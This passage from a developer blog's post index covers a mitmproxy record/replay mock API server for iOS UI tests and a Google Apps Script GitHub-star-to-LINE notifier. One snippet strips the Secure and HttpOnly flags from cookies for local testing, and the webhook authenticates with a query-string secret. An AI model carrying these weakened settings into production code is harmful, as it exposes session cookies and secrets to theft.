http.Response.make(statusCode, content, headers) logging.info(\"Fullfill response from local with \"+str(result['content'])) return if ctx.options.network_restricted == True: flow.response = http.Response.make(404, b'', {'_responseFromMitmproxy': '1'}) def response(self, flow): if ctx.options.record == True and flow.response.headers.get('_responseFromMitmproxy') != '1': result = self.saveToFile(flow.request, flow.response) logging.info(\"Save response to local with \"+str(result['content']))addons = [MockServerHandler()]可以自行參考 官方文件 ,依照需求調整腳本內容。此腳本設計邏輯如下: 檔案路徑邏輯: dumper_folder(a.k.a Test Case Name) / Reverse's api host / HTTP Method / Path join with - (e.g. app/launch -> app-launch ) / Hash(Get Query & Post Content) / 檔案邏輯:回應的內容: Content-0.xxx 、 Content-1.xxx (同個請求打第二次)…以此類推;回應的 Header 資訊: Header-0.json (同 Content-x 邏輯) 儲存時會依照路徑、檔案邏輯依序儲存;在 Replay 時同樣依序取出 如果次數不匹配,例如 Replay 時同個路徑打了 3 次,但 Record 儲存的資料只存到第 2 次;則還是會持續回應第 2 次,也就是最後一次的結果 record 為 True 時,會去打目標 Server 取得回應並依照上述邏輯儲存下來; False 時則只會從本地讀資料 (等於 Replay Mode) network_restricted 為 False 時,本地沒 Mapping 資料會直接回應 404 ;為 True 時會去打目標 Server 拿資料。 _responseFromMitmproxy 用於告知 Response Method 當前回應來自 Local,可以忽略不管、 _status_code 借用 Header.json 欄位儲存 HTTP Response 狀態碼。config_file.json 設置檔案邏輯設計如下:{ \"ignored\": { \"paths\": { \"yourapihost.com\": { \"add-to-cart\": { \"POST\": { \"queryParamters\": [ \"created_timestamp\" ], \"formDataParameters\": [] } }, \"api-status-checker\": { \"GET\": { \"iterable\": true } } } }, \"global\": { \"queryParamters\": [ \"timestamp\" ], \"formDataParameters\": [] } }}queryParamters & formDataParameters :因部分 API 參數可能會隨呼叫改變,例如有的 Endpoint 會帶上時間參數,此時依照 Server 的設計, Hash(Query Parameter & Body Content) 的值就會在 Replay Request 時不一樣,導致 Mapping 不到 Local Response,因此多開了一個 config.json 處理這個情況,可以 by Endpoint Path or Global 設定某個參數應該在排除 Hash 時排除,就能取得同樣的 Mapping 結果。iterable :因部分輪詢檢查的 API 可能會重複定時不斷呼叫,照 Server 的設計會產出很多 Content-x.xxx & Header-x.json 檔案;但假設我們不在意則可設定為 True ,Response 會持續儲存覆蓋到 Content-0.xxx & Header-0.json 第一個檔案內。啟用 Reverse Proxy Record Mode:mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.json啟用 Reverse Proxy Replay Mode:mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.json組裝 & Proof Of Concept0. 完成 Codebase 中 Host 的抽換並確認在跑測試時,API 已改用 http://127.0.0.1:80801. 啟動 Snapshot API Local Mock Server (a.k.a Reverse Proxy Server) Record Modemitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=addCart --set config_file=config.json2. 執行 E2E Testing UI 操作以 Pinkoi iOS App 為例,測試以下流程: Launch App -> Home -> Scroll Down -> Similar to Wish List Items Section -> First Product -> Click First Product -> Enter Product Page -> Click Add to Cart -> UI Response Added to Cart -> Test Successful ✅UI 自動化操作方式前面有提到,這邊先手動測試相同的流程驗證結果。3. 取得 Record 結果操作完成後可以下 ^ + C 終止 Snapshot API Mock Server,到檔案目錄查看錄製結果:4. Replay 驗證同個流程,啟動 Server & Using Replay Modemitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=addCart --set config_file=config.json5. 再次執行剛剛的 UI 操作驗證結果 左:Test Successful ✅ 右:測試點擊錄製以外的商品,此時會出現 Error (因本地沒資料 + network_restricted 預設是 False 本地沒資料直接傳 404,不會從網路拿資料)6. Proof Of Concept ✅概念驗證通過,我們確實能透過實現 Reverse Proxy Server 來自行儲存 API Request & Response 並作為 Mock API Server 在測試時回應資料給 App 🎉🎉🎉。[2023–09–04] mitmproxy-rodo 已開源後續和雜記本文只探討了概念驗證,後續還有許多地方要補齊也還有更多功能可以實現。 與 maestro UI Testinga 工具整合 CI/CD 流程整合設計 (怎麼自動起 Reverse Proxy? 起在哪裡? ) 怎麼把 MITMProxy 封裝在開發工具內? 驗證更複雜的測試場景 針對發送的 Tracking Request 做驗證,需多實現存 Request Body,然後從中取得打了哪些 Tracking Event Data、是否符合流程該送的事件Cookie 問題#... def response(self, flow): setCookies = flow.response.headers.get_all(\"set-cookie\") # setCookies = ['ad=0; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/', 'sessionid=xxxx; Secure; HttpOnly; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/'] # OR Replace Cookie Domain From .xxx.com To 127.0.0.1 setCookies = [re.sub(r\"\\s*\\.xxx\\.com\\s*\", \"127.0.0.1\", s) for s in setCookies] # AND 移除安全性相關限制 setCookies = [re.sub(r\";\\s*Secure\\s*\", \"\", s) for s in setCookies] setCookies = [re.sub(r\";\\s*HttpOnly;\\s*\", \"\", s) for s in setCookies] flow.response.headers.set_all(\"Set-Cookie\", setCookies) #...如果有遇到 Cookie 方面的問題,例如 API 有回應 Cookie 但 App 沒接到,可參考以上的調整。在 Pinkoi 的最後一篇文章在 Pinkoi 900 多天的日子裡,實現了許多我職涯上還有 iOS / App 開發、流程的想像,感謝所有隊友,一起走過疫情、經歷風雨;告別的勇氣如同當初追尋夢想入職的勇氣。 正在啟航找尋新的人生挑戰(包括但不限於工程),如果您有合適的機會(iOS or 工程管理 or 新創產品)歡迎與我聯絡。 🙏🙏🙏有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier", "url": "/posts/382218e15697/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, google-app-script, github, notifications, stars", "date": "2023-08-01 22:32:14 +0800", "snippet": "使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier撰寫 GAS 串接 Github Webhook 轉發按星星 Like 通知到 Line前言身為開源專案的維護者,不為錢不為名,只為一個 虛榮心 ;每當看到有新的 ⭐️ 星星時,心中都竊喜不已;花時間花精力做的專案真的有人在用、真的有幫助的有同樣問題的朋友。Star History ...", "content": "使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier撰寫 GAS 串接 Github Webhook 轉發按星星 Like 通知到 Line前言身為開源專案的維護者,不為錢不為名,只為一個 虛榮心 ;每當看到有新的 ⭐️ 星星時,心中都竊喜不已;花時間花精力做的專案真的有人在用、真的有幫助的有同樣問題的朋友。Star History Chart因此對 ⭐️ 星星的觀測多少有點強迫症,時不時就刷一下 Github 查看 ⭐️星星 數有沒有增加;我就在想有沒有更主動一點的方式,當有人 按 ⭐️星星 時主動跳通知提示,不需要手動追蹤查詢。現有工具首先考慮尋找現有工具達成,到 Github Marketplace 搜尋了一下,有幾個大神做好的工具可以使用。試了其中幾個效果不如預期,有的已不在運作、有的只能在每 5/10/20 個 ⭐️星星 時發送通知(我只是小小,有 1 個新的 ⭐️ 就很開心了😝)、通知只能發信件但我想要用 SNS 通知。再加上只是為了「虛榮心」裝一個 App,心裡不太踏實,怕有資安風險問題。iOS 上的 Github App 或 GitTrends …等等第三方 App 也都不支援此功能。自己打造 Github Repo Star Notifier基於以上,其實我們可以直接用 Google Apps Script 免費、快速打造自己的 Github Repo Star Notifier。準備工作本文以 Line 做為通知媒介,如果你想使用其他通訊軟體通知可以詢問 ChatGPT 如何實現。詢問 ChatGPT 如何實現 Line NotifylineToken : 前往 Line Notify 登入你的 Line 帳號之後拉到底找到「Generate access token (For developers)」區 點擊「Generate token」 Token Name:輸入你想要的機器人頭銜名稱,會顯示在訊息之前 (e.g. Github Repo Notifer: XXXX ) 選擇訊息要傳送到的地方:我選擇 1-on-1 chat with LINE Notify 透過 LINE Notify 官方機器人發送訊息給自己。 點擊「Generate token」 選擇「Copy」 並記下 Token,如果日後遺忘需要重新產生,無法再次查看 。githubWebhookSecret : 前往 Random.org 產生一組隨機字串 Copy & 記下此隨機字串我們會用這組字串做為 Github Webhook 與 Goolge Apps Script 之間的請求驗證媒介。 因 GAS 限制 ,無法在 doPost(e) 中取得 Headers 內容,因此不能使用 Github Webhook 標準的驗證方式 ,只能手動用 ?secret= Query 做字串匹配驗證。建立 Google Apps Script前往 Google Apps Script ,點擊左上角「+ 新專案」。Google Apps Script點擊左上方「未命名的專案」重新命名專案。這邊我把專案取名為 My-Github-Repo-Notifier 方便日後辨識。程式碼輸入區域:// Constant variablesconst lineToken = 'XXXX';// Generate yours line notify bot token: https://notify-bot.line.me/my/const githubWebhookSecret = \"XXXXX\";// Generate yours secret string here: https://www.random.org/strings/?num=1&len=32&digits=on&upperalpha=on&loweralpha=on&unique=on&format=html&rnd=new// HTTP Get/Post Handler// 不開放 Get 方法function doGet(e) { return HtmlService.createHtmlOutput(\"Access Denied!\");}// Github Webhook 會使用 Post 方法進來function doPost(e) { const content = JSON.parse(e.postData.contents); // 安全性檢查,確保請求是來自 Github Webhook if (verifyGitHubWebhook(e) == false) { return HtmlService.createHtmlOutput(\"Access Denied!\"); } // star payload data content[\"action\"] == \"started\" if(content[\"action\"] != \"started\") { return HtmlService.createHtmlOutput(\"OK!\"); } // 組合訊息 const message = makeMessageString(content); // 發送訊息,也可改成發到 Slack,Telegram... sendLineNotifyMessage(message); return HtmlService.createHtmlOutput(\"OK!\");}// Method// 產生訊息內容function makeMessageString(content) { const repository = content[\"repository\"]; const repositoryName = repository[\"name\"]; const repositoryURL = repository[\"svn_url\"]; const starsCount = repository[\"stargazers_count\"]; const forksCount = repository[\"forks_count\"]; const starrer = content[\"sender\"][\"login\"]; var message = \"🎉🎉「\"+starrer+\"」starred your「\"+repositoryName+\"」Repo 🎉🎉\\n\"; message += \"Current total stars: \"+starsCount+\"\\n\"; message += \"Current total forks: \"+forksCount+\"\\n\"; message += repositoryURL; return message;}// 驗證請求是否來自於 Github Webhook// 因 GAS 限制 (https://issuetracker.google.com/issues/67764685?pli=1)// 無法取得 Headers 內容// 因此不能使用 Github Webhook 標準的驗證方式 (https://docs.github.com/en/webhooks-and-events/webhooks/securing-your-webhooks)// 只能手動用 ?secret=XXX 做匹配驗證function verifyGitHubWebhook(e) { if (e.parameter[\"secret\"] === githubWebhookSecret) { return true } else { return false }}// -- Send Message --// Line// 其他訊息傳送方式可問 ChatGPTfunction sendLineNotifyMessage(message) { var url = 'https://notify-api.line.me/api/notify'; var options = { method: 'post', headers: { 'Authorization': 'Bearer '+lineToken }, payload: { 'message': message } }; UrlFetchApp.fetch(url, options);}lineToken & githubWebhookSecret 帶上前一步驟複製的值。補充 Github Webook 當有人按 Star 時會打進來的資料如下:{ \"action\": \"created\", \"starred_at\": \"2023-08-01T03:42:26Z\", \"repository\": { \"id\": 602927147, \"node_id\": \"R_kgDOI-_wKw\", \"name\": \"ZMarkupParser\", \"full_name\": \"ZhgChgLi/ZMarkupParser\", \"private\": false, \"owner\": { \"login\": \"ZhgChgLi\", \"id\": 83232222, \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/83232222?v=4\", \"gravatar_id\": \"\", \"url\": \"https://api.github.com/users/ZhgChgLi\", \"html_url\": \"https://github.com/ZhgChgLi\", \"followers_url\": \"https://api.github.com/users/ZhgChgLi/followers\", \"following_url\": \"https://api.github.com/users/ZhgChgLi/following{/other_user}\", \"gists_url\": \"https://api.github.com/users/ZhgChgLi/gists{/gist_id}\", \"starred_url\": \"https://api.github.com/users/ZhgChgLi/starred{/owner}{/repo}\", \"subscriptions_url\": \"https://api.github.com/users/ZhgChgLi/subscriptions\", \"organizations_url\": \"https://api.github.com/users/ZhgChgLi/orgs\", \"repos_url\": \"https://api.github.com/users/ZhgChgLi/repos\", \"events_url\": \"https://api.github.com/users/ZhgChgLi/events{/privacy}\", \"received_events_url\": \"https://api.github.com/users/ZhgChgLi/received_events\", \"type\": \"Organization\", \"site_admin\": false }, \"html_url\": \"https://github.com/ZhgChgLi/ZMarkupParser\", \"description\": \"ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.\", \"fork\": false, \"url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser\", \"forks_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/forks\", \"keys_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/keys{/key_id}\", \"collaborators_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/collaborators{/collaborator}\", \"teams_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/teams\", \"hooks_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/hooks\", \"issue_events_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/events{/number}\", \"events_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/events\", \"assignees_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/assignees{/user}\", \"branches_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/branches{/branch}\", \"tags_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/tags\", \"blobs_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/blobs{/sha}\", \"git_tags_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/tags{/sha}\", \"git_refs_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/refs{/sha}\", \"trees_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/trees{/sha}\", \"statuses_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/statuses/{sha}\", \"languages_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/languages\", \"stargazers_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/stargazers\", \"contributors_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contributors\", \"subscribers_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscribers\", \"subscription_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscription\", \"commits_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/commits{/sha}\", \"git_commits_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/commits{/sha}\", \"comments_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/comments{/number}\", \"issue_comment_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/comments{/number}\", \"contents_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contents/{+path}\", \"compare_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/compare/{base}...{head}\", \"merges_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/merges\", \"archive_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/{archive_format}{/ref}\", \"downloads_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/downloads\", \"issues_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues{/number}\", \"pulls_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/pulls{/number}\", \"milestones_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/milestones{/number}\", \"notifications_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/notifications{?since,all,participating}\", \"labels_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/labels{/name}\", \"releases_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/releases{/id}\", \"deployments_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/deployments\", \"created_at\": \"2023-02-17T08:41:37Z\", \"updated_at\": \"2023-08-01T03:42:27Z\", \"pushed_at\": \"2023-08-01T00:07:41Z\", \"git_url\": \"git://github.com/ZhgChgLi/ZMarkupParser.git\", \"ssh_url\": \"git@github.com:ZhgChgLi/ZMarkupParser.git\", \"clone_url\": \"https://github.com/ZhgChgLi/ZMarkupParser.git\", \"svn_url\": \"https://github.com/ZhgChgLi/ZMarkupParser\", \"homepage\": \"https://zhgchg.li\", \"size\": 27449, \"stargazers_count\": 187, \"watchers_count\": 187, \"language\": \"Swift\", \"has_issues\": true, \"has_projects\": true, \"has_downloads\": true, \"has_wiki\": true, \"has_pages\": false, \"has_discussions\": false, \"forks_count\": 10, \"mirror_url\": null, \"archived\": false, \"disabled\": false, \"open_issues_count\": 2, \"license\": { \"key\": \"mit\", \"name\": \"MIT License\", \"spdx_id\": \"MIT\", \"url\": \"https://api.github.com/licenses/mit\", \"node_id\": \"MDc6TGljZW5zZTEz\" }, \"allow_forking\": true, \"is_template\": false, \"web_commit_signoff_required\": false, \"topics\": [ \"cocoapods\", \"html\", \"html-converter\", \"html-parser\", \"html-renderer\", \"ios\", \"nsattributedstring\", \"swift\", \"swift-package\", \"textfield\", \"uikit\", \"uilabel\", \"uitextview\" ], \"visibility\": \"public\", \"forks\": 10, \"open_issues\": 2, \"watchers\": 187, \"default_branch\": \"main\" }, \"organization\": { \"login\": \"ZhgChgLi\", \"id\": 83232222, \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy\", \"url\": \"https://api.github.com/orgs/ZhgChgLi\", \"repos_url\": \"https://api.github.com/orgs/ZhgChgLi/repos\", \"events_url\": \"https://api.github.com/orgs/ZhgChgLi/events\", \"hooks_url\": \"https://api.github.com/orgs/ZhgChgLi/hooks\", \"issues_url\": \"https://api.github.com/orgs/ZhgChgLi/issues\", \"members_url\": \"https://api.github.com/orgs/ZhgChgLi/members{/member}\", \"public_members_url\": \"https://api.github.com/orgs/ZhgChgLi/public_members{/member}\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/83232222?v=4\", \"description\": \"Building a Better World Together.\" }, \"sender\": { \"login\": \"zhgtest\", \"id\": 4601621, \"node_id\": \"MDQ6VXNlcjQ2MDE2MjE=\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/4601621?v=4\", \"gravatar_id\": \"\", \"url\": \"https://api.github.com/users/zhgtest\", \"html_url\": \"https://github.com/zhgtest\", \"followers_url\": \"https://api.github.com/users/zhgtest/followers\", \"following_url\": \"https://api.github.com/users/zhgtest/following{/other_user}\", \"gists_url\": \"https://api.github.com/users/zhgtest/gists{/gist_id}\", \"starred_url\": \"https://api.github.com/users/zhgtest/starred{/owner}{/repo}\", \"subscriptions_url\": \"https://api.github.com/users/zhgtest/subscriptions\", \"organizations_url\": \"https://api.github.com/users/zhgtest/orgs\", \"repos_url\": \"https://api.github.com/users/zhgtest/repos\", \"events_url\": \"https://api.github.com/users/zhgtest/events{/privacy}\", \"received_events_url\": \"https://api.github.com/users/zhgtest/received_events\", \"type\": \"User\", \"site_admin\": false }}部署完成程式撰寫之後點擊右上角「部署」->「新增部署作業」:左側選取類型選擇「網頁應用程式」: 新增說明:隨意輸入,我輸入「 Release 」 誰可以存取: 請改成「 所有人 」 點擊「部署」首次部署,需要點擊「授予存取權」:跳出帳號選擇 Pop-up 後選擇自己當前的 Gmail 帳號:出現「Google hasn’t verified this app」因為我們要開發的 App 是給自己用的,不需經過 Google 驗證。直接點擊「Advanced」->「Go to XXX (unsafe)」->「Allow」即可:完成部署後可在結果頁面的「網頁應用程式」得到 Request URL,點擊「複製」並記下此 GAS 網址。⚠️️️ 題外話,請注意如果程式碼有修改需要更新部署才會生效⚠️要使更改的程式碼生效,同樣點擊右上角「部署」-> 選擇「管理部署作業」->選擇右上角的「✏️」->版本選擇「建立新版本」->點擊「部署」。即可完成程式碼更新部署。Github Webhook 設定 回到 Github 我們可以對 Organizations (裡面所有 Repo)或單個 Repo 設定 Webhook,監聽新的 ⭐️ 星星進入 Organizations / Repo -> 「Settings」-> 左側找到「Webhooks」-> 「Add webhook」: Payload URL : 輸入 GAS 網址 並在網址後面手動加上我們自己的安全驗證字串 ?secret=githubWebhookSecret 。例如你的 GAS 網址 是 https://script.google.com/macros/s/XXX/exec 、 githubWebhookSecret 是 123456 ;則 網址即為: https://script.google.com/macros/s/XXX/exec?secret=123456 。 Content type: 選擇 application/json Which events would you like to trigger this webhook? 選擇「 Let me select individual events. 」 ⚠️️取消勾選「 Pushes 」 ️️️️⚠️勾選「 Watches 」,請注意不是「 Stars 」(但 Stars 也是監控點擊星星的狀態,如果用 Stars GAS 的 action 判斷也需要調整 ) 選擇「 Active 」 點擊「Add webhook」 完成設定🚀測試回到 設定的 Organizations Repo / Repo 上點擊「Star」或先 un-star 再重新 「Star」:就會收到推播通知囉!收工!🎉🎉🎉🎉工商有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Create a Github Repo Star Notifier for Free with Google Apps Script in Three Simple Steps", "url": "/posts/382218e15697_en/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, google-app-script, github, notifications, stars", "date": "2023-08-01 22:32:14 +0800", "snippet": "How to Build a Github Repo Star Notifier for Free in Three Simple Steps Using Google Apps ScriptWriting a GAS script to integrate with Github Webhook and forward star (like) notifications to Line.I...", "content": "How to Build a Github Repo Star Notifier for Free in Three Simple Steps Using Google Apps ScriptWriting a GAS script to integrate with Github Webhook and forward star (like) notifications to Line.IntroductionAs maintainers of open-source projects, we are not driven by money or fame, but by a sense of vanity. Every time we see a new ⭐️ star, it brings immense joy to our hearts. Knowing that the projects we invest our time and energy into are being used and actually helping friends with similar problems is truly rewarding.Star History ChartBecause of this, I tend to have a slight obsession with ⭐️ stars. I find myself frequently checking Github to see if the ⭐️ star count has increased. I wondered if there could be a more proactive way to receive notifications when someone hits that ⭐️ star, without having to manually track and search for it.Existing ToolsFirstly, let’s consider looking for existing tools to achieve this. I searched on Github Marketplace and found several awesome tools that are available.I tried some of them, but the results were not as expected. Some of them are no longer operational, while others can only send notifications when reaching every 5/10/20 ⭐️ stars (I’m just a small user, so getting 1 ⭐️ already makes me happy 😝). Additionally, these tools only offer email notifications, but I prefer using SNS notifications.Moreover, I feel a bit uneasy about installing an app just for the sake of “vanity,” as I’m concerned about potential cybersecurity risks.On iOS, both the Github app and GitTrends and other third-party apps do not support this feature.Building Your Own Github Repo Star NotifierBased on the above, we can actually use Google Apps Script for free and quickly create our own Github Repo Star Notifier.PreparationIn this article, we’ll use Line as the notification medium. If you want to use other communication/SNS software for notification, you can ask ChatGPT how to implement it.Ask ChatGPT how to implement Line NotifylineToken: Go to Line Notify After logging in to your Line account, scroll down to find the “Generate access token (For developers)” section. Click on “Generate token” Token Name: Enter the desired bot title, which will be displayed before the message (e.g., Github Repo Notifer: XXXX). Choose where the message should be sent: I choose “1-on-1 chat with LINE Notify” to send messages to myself via LINE Notify’s official bot. Click on “Generate token” Select “Copy” Make sure to note down the Token, as it won’t be visible if you forget it and you’ll need to generate a new one. githubWebhookSecret: Go to Random.org to generate a random string. Copy & remember this random string.We will use this string as the verification medium between Github Webhook and Google Apps Script. Due to GAS limitations, it’s not possible to access the Headers content in doPost(e). Therefore, the standard authentication method for Github Webhooks cannot be used in Google Apps Script. We can only manually perform string matching authentication using ?secret=.Creating Google Apps ScriptGo to Google Apps Script, and click on the top left corner, “+ New Project”.Google Apps ScriptClick on the top-left corner, “Untitled Project,” to rename the project.Here, I’ll name the project “My-Github-Repo-Notifier” for easy identification in the future.Code Input Area:// Constant variablesconst lineToken = 'XXXX';// Generate yours line notify bot token: https://notify-bot.line.me/my/const githubWebhookSecret = \"XXXXX\";// Generate yours secret string here: https://www.random.org/strings/?num=1&len=32&digits=on&upperalpha=on&loweralpha=on&unique=on&format=html&rnd=new// HTTP Get/Post Handler// Do not allow Get methodfunction doGet(e) {\treturn HtmlService.createHtmlOutput(\"Access Denied!\");}// Github Webhook will use Post method to enterfunction doPost(e) {\tconst content = JSON.parse(e.postData.contents);\t// Security check to ensure the request is from Github Webhook\tif (verifyGitHubWebhook(e) == false) {\t\treturn HtmlService.createHtmlOutput(\"Access Denied!\");\t}\t// Star payload data content[\"action\"] == \"started\"\tif (content[\"action\"] != \"started\") {\t\treturn HtmlService.createHtmlOutput(\"OK!\");\t}\t// Compose the message\tconst message = makeMessageString(content);\t// Send the message, can also be sent to Slack, Telegram...\tsendLineNotifyMessage(message);\treturn HtmlService.createHtmlOutput(\"OK!\");}// Method// Generate message contentfunction makeMessageString(content) {\tconst repository = content[\"repository\"];\tconst repositoryName = repository[\"name\"];\tconst repositoryURL = repository[\"svn_url\"];\tconst starsCount = repository[\"stargazers_count\"];\tconst forksCount = repository[\"forks_count\"];\tconst starrer = content[\"sender\"][\"login\"];\tvar message = \"🎉🎉 \\\"\" + starrer + \"\\\" starred your \\\"\" + repositoryName + \"\\\" Repo 🎉🎉\\n\";\tmessage += \"Current total stars: \" + starsCount + \"\\n\";\tmessage += \"Current total forks: \" + forksCount + \"\\n\";\tmessage += repositoryURL;\treturn message;}// Verify if the request is from Github Webhook// Due to GAS limitations (https://issuetracker.google.com/issues/67764685?pli=1)// It's not possible to get Headers content in doPost(e)// So the standard authentication method for Github Webhooks (https://docs.github.com/en/webhooks-and-events/webhooks/securing-your-webhooks)// cannot be used, only manual string matching authentication with ?secret=XXXfunction verifyGitHubWebhook(e) {\tif (e.parameter[\"secret\"] === githubWebhookSecret) {\t\treturn true\t} else {\t\treturn false\t}}// -- Send Message --// Line// For other message delivery methods, you can ask ChatGPTfunction sendLineNotifyMessage(message) {\tvar url = 'https://notify-api.line.me/api/notify';\tvar options = {\t\tmethod: 'post',\t\theaders: {\t\t\t'Authorization': 'Bearer ' + lineToken\t\t},\t\tpayload: {\t\t\t'message': message\t\t}\t};\tUrlFetchApp.fetch(url, options);}Replace lineToken & githubWebhookSecret with the values you copied in the previous steps.Supplemental data received when someone presses Star on Github Webook is as follows:{ \"action\": \"created\", \"starred_at\": \"2023-08-01T03:42:26Z\", \"repository\": { \"id\": 602927147, \"node_id\": \"R_kgDOI-_wKw\", \"name\": \"ZMarkupParser\", \"full_name\": \"ZhgChgLi/ZMarkupParser\", \"private\": false, \"owner\": { \"login\": \"ZhgChgLi\", \"id\": 83232222, \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/83232222?v=4\", \"gravatar_id\": \"\", \"url\": \"https://api.github.com/users/ZhgChgLi\", \"html_url\": \"https://github.com/ZhgChgLi\", \"followers_url\": \"https://api.github.com/users/ZhgChgLi/followers\", \"following_url\": \"https://api.github.com/users/ZhgChgLi/following{/other_user}\", \"gists_url\": \"https://api.github.com/users/ZhgChgLi/gists{/gist_id}\", \"starred_url\": \"https://api.github.com/users/ZhgChgLi/starred{/owner}{/repo}\", \"subscriptions_url\": \"https://api.github.com/users/ZhgChgLi/subscriptions\", \"organizations_url\": \"https://api.github.com/users/ZhgChgLi/orgs\", \"repos_url\": \"https://api.github.com/users/ZhgChgLi/repos\", \"events_url\": \"https://api.github.com/users/ZhgChgLi/events{/privacy}\", \"received_events_url\": \"https://api.github.com/users/ZhgChgLi/received_events\", \"type\": \"Organization\", \"site_admin\": false }, \"html_url\": \"https://github.com/ZhgChgLi/ZMarkupParser\", \"description\": \"ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.\", \"fork\": false, \"url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser\", \"forks_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/forks\", \"keys_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/keys{/key_id}\", \"collaborators_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/collaborators{/collaborator}\", \"teams_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/teams\", \"hooks_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/hooks\", \"issue_events_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/events{/number}\", \"events_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/events\", \"assignees_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/assignees{/user}\", \"branches_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/branches{/branch}\", \"tags_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/tags\", \"blobs_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/blobs{/sha}\", \"git_tags_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/tags{/sha}\", \"git_refs_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/refs{/sha}\", \"trees_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/trees{/sha}\", \"statuses_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/statuses/{sha}\", \"languages_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/languages\", \"stargazers_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/stargazers\", \"contributors_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contributors\", \"subscribers_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscribers\", \"subscription_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscription\", \"commits_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/commits{/sha}\", \"git_commits_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/commits{/sha}\", \"comments_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/comments{/number}\", \"issue_comment_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/comments{/number}\", \"contents_url\": 